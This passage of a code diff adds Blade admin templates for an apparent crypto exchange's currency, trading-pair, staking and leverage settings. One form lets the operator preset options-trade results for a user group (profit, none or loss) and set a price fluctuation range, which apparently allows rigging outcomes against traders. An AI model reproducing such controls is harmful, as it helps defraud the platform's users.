});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,220 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="display:none">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">期限</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" id="day" name="day" autocomplete="off" placeholder="" class="layui-input" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">利息</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="total_interest_rate" autocomplete="off" placeholder="" class="layui-input" id="total_interest_rate">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">最小值</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="save_min" id="save_min" autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<table id="data_table" lay-filter="data_table"></table>
|
||||
@endsection
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="delete">删除</a>
|
||||
</script>
|
||||
<script>
|
||||
let url=window.location.href;
|
||||
let configId="";
|
||||
if(url.indexOf("id")!=-1){
|
||||
configId=url.substr(url.lastIndexOf("/")+1);
|
||||
}
|
||||
var currency_id = {{ Request::route('currency_id') }}
|
||||
layui.use(['table', 'layer', 'form'], function() {
|
||||
var table = layui.table
|
||||
,layer = layui.layer
|
||||
,form = layui.form
|
||||
,$ = layui.$
|
||||
var data_table = table.render({
|
||||
elem: '#data_table'
|
||||
,url: '/admin/currency/deposit/'+ currency_id +'/list'
|
||||
,height: 'full'
|
||||
,toolbar: 'default'
|
||||
,page: true
|
||||
,cols: [[
|
||||
{type: 'radio'}
|
||||
,{field: 'id', title: 'id', width: 70}
|
||||
,{field: 'name', title: '交易币', width: 80}
|
||||
,{field: 'day', title: '期限', width: 80}
|
||||
,{field: 'total_interest_rate', title: '利率(%)', width: 80}
|
||||
,{field: 'save_min', title: '最少存币数', width: 80}
|
||||
,{field: 'created_at', title: '创建时间', width: 180}
|
||||
// ,{fixed: 'right', title: '操作', width: 190, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
table.on('tool(data_table)', function (obj) {
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event;
|
||||
var tr = obj.tr;
|
||||
if (layEvent === 'delete') { //删除
|
||||
layer.confirm('真的要删除吗?', function (index) {
|
||||
//向服务端发送删除指令
|
||||
$.ajax({
|
||||
url: "admin//currency/delete_deposit_config",
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: {id: data.id},
|
||||
success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
layer.close(index);
|
||||
} else {
|
||||
layer.close(index);
|
||||
layer.alert(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
// console.log(obj)
|
||||
// var id = 0
|
||||
// ,selected = table.checkStatus('data_table')
|
||||
// switch (obj.event) {
|
||||
// case 'add':
|
||||
// layer.open({
|
||||
// title: '添加交易对'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/add_config?id=' + configId
|
||||
// ,area: ['600px', '380px']
|
||||
// });
|
||||
// break;
|
||||
// case 'update':
|
||||
// if (selected.data.length != 1) {
|
||||
// layer.msg('只能编辑一个交易对');
|
||||
// return false;
|
||||
// }
|
||||
// id = selected.data[0].id
|
||||
// layer.open({
|
||||
// title: '编辑交易对'
|
||||
// ,type: 2
|
||||
// ,content: '/admin/currency/edit_config/' + id
|
||||
// ,area: ['600px', '380px']
|
||||
// });
|
||||
// break;
|
||||
// case 'delete':
|
||||
// if (selected.data.length != 1) {
|
||||
// layer.msg('选择一个交易对才能删除');
|
||||
// return false;
|
||||
// }
|
||||
// id = selected.data[0].id
|
||||
// layer.confirm('真的确定要删除吗?', function (index) {
|
||||
// $.ajax({
|
||||
// url: '/admin/currency/delete_config/' + id
|
||||
// ,type: 'GET'
|
||||
// ,success: function (res) {
|
||||
// layer.msg(res.message, {
|
||||
// time: 2000
|
||||
// ,end: function () {
|
||||
// if (res.type == 'ok') {
|
||||
// data_table.reload();
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// }
|
||||
// ,error: function (res) {
|
||||
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// break;
|
||||
// default:
|
||||
// break;
|
||||
// }
|
||||
});
|
||||
table.on('toolbar(data_table)', function (obj) {
|
||||
console.log(obj)
|
||||
var id = 0
|
||||
,selected = table.checkStatus('data_table')
|
||||
switch (obj.event) {
|
||||
case 'add':
|
||||
layer.open({
|
||||
title: '添加锁仓挖矿'
|
||||
,type: 2
|
||||
,content: '/admin/currency/deposit_config?c_id='+currency_id
|
||||
,area: ['600px', '380px']
|
||||
});
|
||||
break;
|
||||
case 'update':
|
||||
if (selected.data.length != 1) {
|
||||
layer.msg('只能编辑一个锁仓挖矿');
|
||||
return false;
|
||||
}
|
||||
id = selected.data[0].id
|
||||
var data=selected.data[0];
|
||||
layer.open({
|
||||
title: '编辑锁仓挖矿'
|
||||
,type: 2
|
||||
,content: '/admin/currency/deposit_config?id=' + id+"&day="+data.day+"&rate="+data.total_interest_rate+"&save_min="+data.save_min
|
||||
,area: ['600px', '380px']
|
||||
});
|
||||
break;
|
||||
case 'delete':
|
||||
if (selected.data.length != 1) {
|
||||
layer.msg('选择一个锁仓挖矿才能删除');
|
||||
return false;
|
||||
}
|
||||
id = selected.data[0].id
|
||||
layer.confirm('真的确定要删除吗?', function (index) {
|
||||
$.ajax({
|
||||
url: "/admin/currency/delete_deposit_config",
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: {id: id},
|
||||
success: function (res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if (res.type == 'ok') {
|
||||
data_table.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
// $.ajax({
|
||||
// url: 'admin/currency/delete_deposit_config'
|
||||
// ,type: 'post',
|
||||
// data: {id: data.id},
|
||||
// ,success: function (res) {
|
||||
// layer.msg(res.message, {
|
||||
// time: 2000
|
||||
// ,end: function () {
|
||||
// if (res.type == 'ok') {
|
||||
// data_table.reload();
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// }
|
||||
// ,error: function (res) {
|
||||
|
||||
// }
|
||||
// });
|
||||
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,212 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
p.percent {
|
||||
text-align: right;
|
||||
margin-right: 10px;
|
||||
}
|
||||
p.percent::after {
|
||||
content: '%';
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if (d.is_legal == 1) { }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="match">交易对</a>
|
||||
@{{# } }}
|
||||
|
||||
</script>
|
||||
<script type="text/html" id="toolbar">
|
||||
<div>
|
||||
<button class="layui-btn layui-btn-sm layui-btn-primary" lay-event="add"> <i class="layui-icon layui-icon-add-1"></i> 添加</button>
|
||||
</div>
|
||||
</script>
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_display" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isDisplay" @{{ d.is_display == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="micro">
|
||||
<input type="checkbox" name="is_micro" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isMicro" disabled @{{ d.is_micro == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="match">
|
||||
<input type="checkbox" name="is_match" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isMatch" disabled @{{ d.is_match == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="legal">
|
||||
<input type="checkbox" name="is_legal" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isLegal" disabled @{{ d.is_legal == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="lever">
|
||||
<input type="checkbox" name="is_lever" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isLever" disabled @{{ d.is_lever == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="insurancable">
|
||||
<input type="checkbox" name="insurancable" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="isInsurancable" @{{ d.insurancable == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="is_transfer">
|
||||
<input type="checkbox" name="insurancable" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="is_transfer" @{{ d.is_transfer == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,toolbar: '#toolbar'
|
||||
,url: '{{url('admin/currency_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'id', width:60, sort: true}
|
||||
,{field: 'name', title: '名称', width:90}
|
||||
,{field: 'min_number', title: '最少提币量', width:60}
|
||||
,{field: 'rate', title: '提币费率', width:100}
|
||||
,{field: 'get_address', title: '合约地址', width:150, hide: true}
|
||||
,{field: 'sort', title: '排序', width:60}
|
||||
,{field: 'type', title: '基于', width:80, templet: '#typetml'}
|
||||
,{field: 'is_legal', title: '法币', width:80, templet: '#legal'}
|
||||
,{field: 'is_lever', title: '杠杆币', width:80, templet: '#lever'}
|
||||
,{field: 'is_micro', title: '期权交易', width: 90, templet: '#micro'}
|
||||
,{field: 'is_match', title: '币币', width: 90, templet: '#match'}
|
||||
,{field: 'is_transfer', title: '币币划转', width: 110, templet: '#is_transfer'}
|
||||
|
||||
,{field: 'insurancable', title: '是否购买保险', minWidth: 40, templet: '#insurancable'}
|
||||
,{field:'is_display', title:'显示', width:85, templet: '#switchTpl', unresize: true}
|
||||
//,{field: 'create_time', title: '添加时间', width:160}
|
||||
,{title:'操作',width:340,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听是否显示操作
|
||||
form.on('switch(isDisplay)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_display')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
//监听是否购买保险操作
|
||||
form.on('switch(isInsurancable)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/is_insurancable')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//是否开启币币划转
|
||||
form.on('switch(is_transfer)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/is_transfer')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
table.on('toolbar(test)', function (obj) {
|
||||
switch (obj.event) {
|
||||
case 'add':
|
||||
layer.open({
|
||||
title: '添加币种'
|
||||
,type: 2
|
||||
,content: '/admin/currency_add'
|
||||
,area: ['480px', '650px']
|
||||
});
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_del')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑币种','{{url('admin/currency_add')}}?id='+data.id);
|
||||
} else if (obj.event == 'execute'){
|
||||
layer.confirm('确定执行上币脚本?', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_execute')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
}
|
||||
});
|
||||
});
|
||||
} else if (obj.event == 'match') {
|
||||
layer.open({
|
||||
title: '交易对管理'
|
||||
,type: 2
|
||||
,content: '/admin/currency/match/' + data.id
|
||||
,area: ['960px', '600px']
|
||||
});
|
||||
} else if(obj.event == 'deposit'){
|
||||
layer.open({
|
||||
title: '质押管理'
|
||||
,type: 2
|
||||
,content: '/admin/currency/deposit/' + data.id
|
||||
,area: ['960px', '600px']
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,118 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<table id="data_table" lay-filter="data_table"></table>
|
||||
@endsection
|
||||
@section('scripts')
|
||||
<script type="text/html" id="is_display">
|
||||
<input type="checkbox" name="is_display" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="is_display" disabled @{{ d.is_display == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="open_transaction">
|
||||
<input type="checkbox" name="open_transaction" value="@{{d.id}}" lay-skin="switch" lay-text="开启|关闭" lay-filter="open_transaction" disabled @{{ d.open_transaction == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="open_lever">
|
||||
<input type="checkbox" name="open_lever" value="@{{d.id}}" lay-skin="switch" lay-text="开启|关闭" lay-filter="open_lever" disabled @{{ d.open_lever == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="open_microtrade">
|
||||
<input type="checkbox" name="open_microtrade" value="@{{d.id}}" lay-skin="switch" lay-text="开启|关闭" lay-filter="open_microtrade" disabled @{{ d.open_microtrade == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="open_coin_trade">
|
||||
<input type="checkbox" name="open_coin_trade" value="@{{d.id}}" lay-skin="switch" lay-text="开启|关闭" lay-filter="open_coin_trade" disabled @{{ d.open_coin_trade == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="coin_trade_success">
|
||||
<input type="checkbox" name="coin_trade_success" value="@{{d.id}}" lay-skin="switch" lay-text="开启|关闭" lay-filter="coin_trade_success" disabled @{{ d.coin_trade_success == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script>
|
||||
var legal_id = {{ Request::route('legal_id') }}
|
||||
layui.use(['table', 'layer', 'form'], function() {
|
||||
var table = layui.table
|
||||
,layer = layui.layer
|
||||
,form = layui.form
|
||||
,$ = layui.$
|
||||
var data_table = table.render({
|
||||
elem: '#data_table'
|
||||
,url: '/admin/currency/match_list/' + legal_id
|
||||
,height: 'full'
|
||||
,toolbar: 'default'
|
||||
,page: true
|
||||
,cols: [[
|
||||
{type: 'radio'}
|
||||
,{field: 'id', title: 'id', width: 70}
|
||||
,{field: 'legal_name', title: '法币', width: 80}
|
||||
,{field: 'currency_name', title: '交易币', width: 80}
|
||||
,{field: 'is_display', title: '显示', width: 90, templet: '#is_display'}
|
||||
,{field: 'category_text', title: '分类', width: 90}
|
||||
,{field: 'open_transaction', title: '撮合交易', width: 100, templet: '#open_transaction'}
|
||||
,{field: 'open_lever', title: '杠杆交易', width: 100, templet: '#open_lever'}
|
||||
,{field: 'open_microtrade', title: '期权', width: 100, templet: '#open_microtrade'}
|
||||
,{field: 'open_coin_trade', title: '币币交易', width: 100, templet: '#open_coin_trade'}
|
||||
,{field: 'coin_trade_success', title: '币币交易撮合', width: 100, templet: '#coin_trade_success'}
|
||||
,{field: 'market_from_name', title: '行情来自', width: 110}
|
||||
,{field: 'create_time', title: '创建时间', width: 180}
|
||||
]]
|
||||
});
|
||||
table.on('toolbar(data_table)', function (obj) {
|
||||
console.log(obj)
|
||||
var id = 0
|
||||
,selected = table.checkStatus('data_table')
|
||||
switch (obj.event) {
|
||||
case 'add':
|
||||
layer.open({
|
||||
title: '添加交易对'
|
||||
,type: 2
|
||||
,content: '/admin/currency/match_add/' + legal_id
|
||||
,area: ['600px', '380px']
|
||||
});
|
||||
break;
|
||||
case 'update':
|
||||
if (selected.data.length != 1) {
|
||||
layer.msg('只能编辑一个交易对');
|
||||
return false;
|
||||
}
|
||||
id = selected.data[0].id
|
||||
layer.open({
|
||||
title: '编辑交易对'
|
||||
,type: 2
|
||||
,content: '/admin/currency/match_edit/' + id
|
||||
,area: ['600px', '380px']
|
||||
});
|
||||
break;
|
||||
case 'delete':
|
||||
if (selected.data.length != 1) {
|
||||
layer.msg('选择一个交易对才能删除');
|
||||
return false;
|
||||
}
|
||||
id = selected.data[0].id
|
||||
layer.confirm('真的确定要删除吗?', function (index) {
|
||||
$.ajax({
|
||||
url: '/admin/currency/match_del/' + id
|
||||
,type: 'GET'
|
||||
,success: function (res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if (res.type == 'ok') {
|
||||
data_table.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
,error: function (res) {
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,182 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-form">
|
||||
<div class="layui-collapse">
|
||||
<div class="layui-colla-item">
|
||||
<h2 class="layui-colla-title">基础设置</h2>
|
||||
<div class="layui-colla-content layui-show">
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="currency_id" lay-verify="required" lay-search>
|
||||
@foreach ($currencies as $currency)
|
||||
<option value="{{ $currency->id }}" @if ((isset($currency_match) && $currency_match->currency_id == $currency->id)) selected @endif>{{ $currency->name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">显示</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="is_display" value="1" title="是" @if (isset($currency_match)) {{ $currency_match->is_display == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
<input type="radio" name="is_display" value="0" title="否" @if (isset($currency_match) && $currency_match->is_display == 0) checked @endif>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label for="market_from" class="layui-form-label">分类</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="category" lay-verify="required">
|
||||
<option value='1' @if ((isset($currency_match) && $currency_match->category == 1)) selected @endif>主流区</option>
|
||||
<option value='2' @if ((isset($currency_match) && $currency_match->category == 2)) selected @endif>创新区</option>
|
||||
<option value='3' @if ((isset($currency_match) && $currency_match->category == 3)) selected @endif>DEFI区</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="market_from" class="layui-form-label">门槛</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" class="layui-input" name="min" placeholder="最小值" value="{{ $currency_match->min ?? 0 }}" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="market_from" class="layui-form-label">行情</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="market_from" lay-verify="required">
|
||||
@foreach ($market_from_names as $key => $market_from_name)
|
||||
<option value="{{ $key }}" @if ((isset($currency_match) && $currency_match->market_from == $key)) selected @endif>{{ $market_from_name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">行情浮动范围</label>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline" style="width: 120px;">
|
||||
<input type="text" class="layui-input" name="fluctuate_min" placeholder="最小值" value="{{ $currency_match->fluctuate_min ?? 1.00 }}" >
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline" style="width: 120px;">
|
||||
<input type="text" class="layui-input" name="fluctuate_max" placeholder="最大值" value="{{ $currency_match->fluctuate_max ?? 0.00 }}" >
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">期权群控结果</label>
|
||||
<div class="layui-inline">
|
||||
<input type="radio" name="risk_group_result" value="1" title="盈利" {{($currency_match->risk_group_result ?? 0) == 1 ? 'checked' : ''}} >
|
||||
<input type="radio" name="risk_group_result" value="0" title="无" {{($currency_match->risk_group_result ?? 0) == 0 ? 'checked' : ''}} >
|
||||
<input type="radio" name="risk_group_result" value="-1" title="亏损" {{($currency_match->risk_group_result ?? 0) == -1 ? 'checked' : ''}}>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">交易功能</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="open_transaction" value="1" title="撮合交易" @if (isset($currency_match)) {{ $currency_match->open_transaction == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
<input type="checkbox" name="open_lever" value="1" title="杠杆合约" @if (isset($currency_match)) {{ $currency_match->open_lever == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
<input type="checkbox" name="open_microtrade" value="1" title="期权" @if (isset($currency_match)) {{ $currency_match->open_microtrade == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
<input type="checkbox" name="open_coin_trade" value="1" title="币币交易" @if (isset($currency_match)) {{ $currency_match->open_coin_trade == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
<input type="checkbox" name="coin_trade_success" value="1" title="币币交易撮合开关" @if (isset($currency_match)) {{ $currency_match->coin_trade_success == 1 ? 'checked' : '' }} @else checked @endif>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-colla-item">
|
||||
<h2 class="layui-colla-title">杠杆交易参数</h2>
|
||||
<div class="layui-colla-content layui-show">
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">手数范围</label>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<input type="text" class="layui-input" name="lever_min_share" placeholder="最小值" value="{{ $currency_match->lever_min_share ?? 1.00 }}" >
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<input type="text" class="layui-input" name="lever_max_share" placeholder="最大值,为0表示不限制" value="{{ $currency_match->lever_max_share ?? 0.00 }}" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label for="currency_id" class="layui-form-label">每手数量</label>
|
||||
<div class="layui-input-inline" style="width: 90px;">
|
||||
<input type="text" class="layui-input" name="lever_share_num" placeholder="杠杆交易每手数量" value="{{ $currency_match->lever_share_num ?? 1.00 }}" >
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">点差</label>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" class="layui-input" name="spread" placeholder="交易点差" value="{{ $currency_match->spread ?? 0.00 }}" >
|
||||
</div>
|
||||
{{--<div class="layui-form-mid">%</div>--}}
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label for="currency_id" class="layui-form-label">隔夜费</label>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" class="layui-input" name="overnight" placeholder="隔夜费" value="{{ $currency_match->overnight ?? 0.00 }}" >
|
||||
</div>
|
||||
<div class="layui-form-mid">%</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">手续费</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" class="layui-input" name="lever_trade_fee" placeholder="杠杆交易手费续" value="{{ $currency_match->lever_trade_fee ?? 0.00 }}" >
|
||||
</div>
|
||||
<div class="layui-form-mid">%</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" style="margin-top:10px;">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="form">提交</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use(['element', 'form', 'layer'], function () {
|
||||
var element = layui.element
|
||||
,form = layui.form
|
||||
,layer = layui.layer
|
||||
,$ = layui.$
|
||||
form.on('submit(form)', function (data) {
|
||||
console.log(data);
|
||||
$.ajax({
|
||||
url: '',
|
||||
type: 'POST',
|
||||
data: data.field,
|
||||
success: function (res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if (res.type == 'ok') {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index); //再执行关闭
|
||||
parent.layui.table.reload('data_table');
|
||||
}
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function (res) {
|
||||
layer.msg('网络错误,请稍后重试');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,152 @@
|
||||
@extends('agent.layadmin')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<style>
|
||||
.layui-form-item{
|
||||
display: flex;
|
||||
justify-content: flex-start;
|
||||
align-items: center;
|
||||
}
|
||||
.layui-form-label{
|
||||
width: auto;
|
||||
}
|
||||
.layui-form-item .layui-inline{
|
||||
display: flex;
|
||||
}
|
||||
|
||||
</style>
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">ID</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户</label>
|
||||
<div class="layui-input-block" style="margin-left: 10px;">
|
||||
<input type="text" name="mobile" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline" style="margin-left: 10px;">
|
||||
<select name="status" class="layui-input">
|
||||
<option value="">选择状态</option>
|
||||
<option value="1">进行中</option>
|
||||
<option value="2">到期</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="searchtj">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
|
||||
<table id="boss" lay-filter="boss"></table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="getsons"><i class="layui-icon layui-icon-friends"></i>下级</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
// console.log(layui.setter.base)
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
